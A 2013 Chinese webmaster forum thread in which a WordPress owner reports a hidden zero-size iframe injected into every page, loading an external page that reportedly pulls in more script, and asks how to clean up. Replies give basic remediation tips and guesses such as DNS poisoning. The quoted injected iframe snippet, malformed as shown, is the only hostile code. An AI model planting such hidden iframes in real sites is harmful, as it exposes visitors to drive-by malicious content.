出现这个，是不是意味道被黑了？

Ruclinux · 发表于 2013-3-15 02:04:42

本帖最后由 Ruclinux 于 2013-3-17 09:23 编辑

这个是一个陌生的地址，每个页面都存在，是不是服务器有安全问题了？我准备找到它删了，但后边还需要做什么工作呢？谢谢
了
被添加的恶意代码，这个地址的源码里还是通过js调用一个伊朗网站.两台VPS，同一个服务商，一台是OVZ,一台是XEN，都出现这种情况.

<html>
<body>
<iframe> width="0" height="0" src="http://www.tel72.com/free33.html" frameborder="0"></iframe>
</body>
</heml>

Toney · 发表于 2013-3-15 02:14:26

织梦的站嘛?

Ruclinux · 发表于 2013-3-15 02:15:03

wordpress的站

农民工 · 发表于 2013-3-15 02:16:09

1数据备份
2重新官方下载新版wp
3修改密码
4不要乱用网上的主题和插件
5搞定

34beat · 发表于 2013-3-15 02:18:44

农民工发表于 2013-3-15 02:16
1数据备份
2重新官方下载新版wp
3修改密码

都不一定是WP的問題, 之前試過一次電腦中毒, 偷偷在網頁全加上JS
之後乖乖不再上 web2.0 CSS3.0版本的即時流動日本大人JQuery學習動作影片網站了

Ruclinux · 发表于 2013-3-15 02:28:03

农民工发表于 2013-3-15 02:16
1数据备份
2重新官方下载新版wp
3修改密码

没用其他的插件，甚至可以说没有用插件，除了那个过滤广告的插件之外
没有用其他主题，都是官方的主题.

Ruclinux · 发表于 2013-3-15 02:34:52

搜索全站文件没有包含有这个域名的文档，会不会是DNS污染？谢谢了

农民工 · 发表于 2013-3-15 02:50:46

Ruclinux 发表于 2013-3-15 02:34
搜索全站文件没有包含有这个域名的文档，会不会是DNS污染？谢谢了

地址给我，我去米国windows vps帮你测试下

vagaa · 发表于 2013-3-15 02:51:10

PM网站

Ruclinux · 发表于 2013-3-15 03:03:02

这代码出现在源码的最未端，在线检测过网站安全，并未有异常.但就是这个地址诡异

		自动登录	找回密码
密码			注册